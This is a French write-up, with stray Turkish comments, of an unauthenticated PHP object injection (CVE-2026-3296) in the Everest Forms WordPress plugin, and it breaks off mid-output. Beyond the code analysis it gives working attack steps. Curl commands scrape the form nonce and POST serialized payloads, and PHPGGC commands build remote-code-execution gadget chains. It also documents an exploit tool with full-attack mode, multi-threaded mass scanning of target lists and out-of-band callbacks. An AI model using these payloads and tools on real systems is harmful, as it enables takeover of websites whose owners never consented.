
CVE-2026-3296 est une vulnérabilité critique CVSS 9.8 d'injection d'objets PHP non authentifiée dans le plugin WordPress Everest Forms.
CVE-2026-3296 est une vulnérabilité critique (CVSS 9.8) d'injection d'objets PHP (PHP Object Injection) non authentifiée dans le plugin WordPress Everest Forms
Plugin : Everest Forms – Formulaire de contact, formulaire de paiement, quiz, sondage et créateur de formulaires personnalisés Slug du plugin :
everest-formsID CVE : CVE-2026-3296 Score CVSS : 9.8 (Critique) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité : PHP Object Injection non authentifiée → RCE Versions affectées : <= 3.4.3 Version corrigée : 3.4.4 Date de publication : 7 avril 2026 Chercheur : 0xsabre — Mobikwik / Wordfence
Le plugin Everest Forms appelle la fonction native PHP unserialize() sans le paramètre lorsqu'il affiche les métadonnées des saisies de formulaire dans le panneau d'administration.
allowed_classesUn attaquant non authentifié peut intégrer un payload d'objet PHP sérialisé dans n'importe quel champ de formulaire public et l'enregistrer dans la base de données. Lorsque l'entrée est affichée dans le panneau d'administration, unserialize() est déclenchée et n'importe quelle chaîne de gadgets POP présente dans l'environnement est exécutée.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-3296 |
| CVSS | 9.8 Critique |
| Type | Injection d'objets PHP (Deserialization of Untrusted Data) |
| Version affectée | <= 3.4.3 |
| Version corrigée | 3.4.4 |
| Authentification | Aucune (injection), Admin (déclenchement) |
| CWE | CWE-502: Deserialization of Untrusted Data |
PHASE 1 — INJECTION (aucune authentification requise)
PHASE 2 — DÉCLENCHEMENT (affichage du panneau d'administration)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Ce payload est entièrement préservé après sanitize_text_field() :
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Le nonce assure la protection CSRF, pas l'authentification. L'attaquant ouvre la page du formulaire en GET, lit le nonce, puis envoie le payload en POST.
┌──────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION (non authentifiée) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → sérialisation conservée │
│ ├── maybe_serialize() → string inchangé │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (l'administrateur effectue un contrôle de routine)
┌──────────────────────────▼───────────────────────────────────┐
│ PHASE 2 — DÉCLENCHEMENT (panneau d'administration) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← VULNÉRABILITÉ │
│ │ allowed_classes = (absent) → toutes les classes │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / écriture de fichier / exfiltration │
└──────────────────────────────────────────────────────────────┘
⚠️ Avertissement : ce PoC est fourni uniquement à des fins éducatives et de recherche en sécurité défensive.
Prérequis :
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Pour un environnement réel, générez une chaîne POP avec PHPGGC :
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Attendu : message de succès du formulaire ou redirection.
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
Lorsque la page se charge, unserialize() est exécutée.
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
requests
python everest_forms_poi.py -u http://hedef.com --mode scan
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
| Mode | Description |
|---|---|
scan | Injecte un payload bénin — détection de la vulnérabilité |
inject | Phase 1 uniquement — stocke le payload |
trigger | Phase 2 uniquement — déclenchement via connexion admin |
full | Phase 1 + Phase 2 — attaque complète |
| Paramètre | Court | Description | Défaut |
|---|---|---|---|
--url | -u | URL cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--threads | -t | Nombre de threads | 5 |
--output | -o | Fichier de sortie | poi_results.txt |
--proxy | — | URL du proxy | — |
--force | — | Continuer même si la détection du plugin échoue | False |
| Paramètre | Description | Défaut |
|---|---|---|
--form-id | ID du formulaire CF7 | détection automatique |
--form-url | URL de la page du formulaire | détection automatique |
--field-name | Nom du champ cible | détection automatique |
--nonce | Valeur du nonce du formulaire | extraction automatique |
--entry-id | ID de l'entrée (mode trigger) | détection automatique |
| Paramètre | Description | Défaut |
|---|---|---|
--payload-type | Type de payload | probe |
--custom-payload | Chaîne sérialisée personnalisée | — |
--cmd | Commande RCE | id |
--callback-url | URL de callback OOB | — |
| Paramètre | Description |
|---|---|
--admin-user | Nom d'utilisateur administrateur |
--admin-pass | Mot de passe administrateur |
| Type | Description | Utilisation |
|---|---|---|
probe | stdClass bénin — aucun effet secondaire | Détection de la vulnérabilité |
file_write | Écriture de fichier (TestGadget) | Validation en environnement de test |
ssrf | Callback HTTP — détection OOB | Burp Collaborator |
wp_rce | Placeholder de chaîne POP WordPress | Génération avec PHPGGC |
yoast_rce | Placeholder de chaîne POP Yoast SEO | Génération avec PHPGGC |
monolog_rce | Placeholder de chaîne POP Monolog | Génération avec PHPGGC |
💡 Génération d'une vraie chaîne avec PHPGGC :
# WordPress/RCE1 phpggc WordPress/RCE1 system "id" -s # Monolog/RCE1 phpggc Monolog/RCE1 system "id" -s # Tüm mevcut chain'leri listele phpggc -l
| Statut | Description |
|---|---|
★ PWNED | Désérialisation déclenchée + payload exécuté |
★ VULN | Payload injecté — vulnérabilité confirmée |
~ TRIGGERED | Entrée affichée — à vérifier manuellement avec une chaîne de gadgets |
- INJ_FAIL | Injection échouée (corrigé / formulaire absent) |
~ NO_FORM | Aucun formulaire Everest Forms trouvé |
- NO_PLUGIN | Plugin non installé |
~ NO_CREDS | Identifiants administrateur manquants |
- ADM_FAIL | Connexion admin échouée |
~ UNREACH | Cible injoignable |
[*] Cible : http://hedef.com
[*] Mode : full
[*] Payload : probe
[*] Commande : id
[*] Admin User : admin
[→] http://hedef.com Étape 1 : recherche du formulaire Everest Forms...
[→] http://hedef.com Étape 2 : injection du payload...
[→] http://hedef.com Étape 3 : connexion admin...
[→] http://hedef.com Étape 4 : recherche de l'ID de l'entrée...
[→] http://hedef.com Étape 5 : unser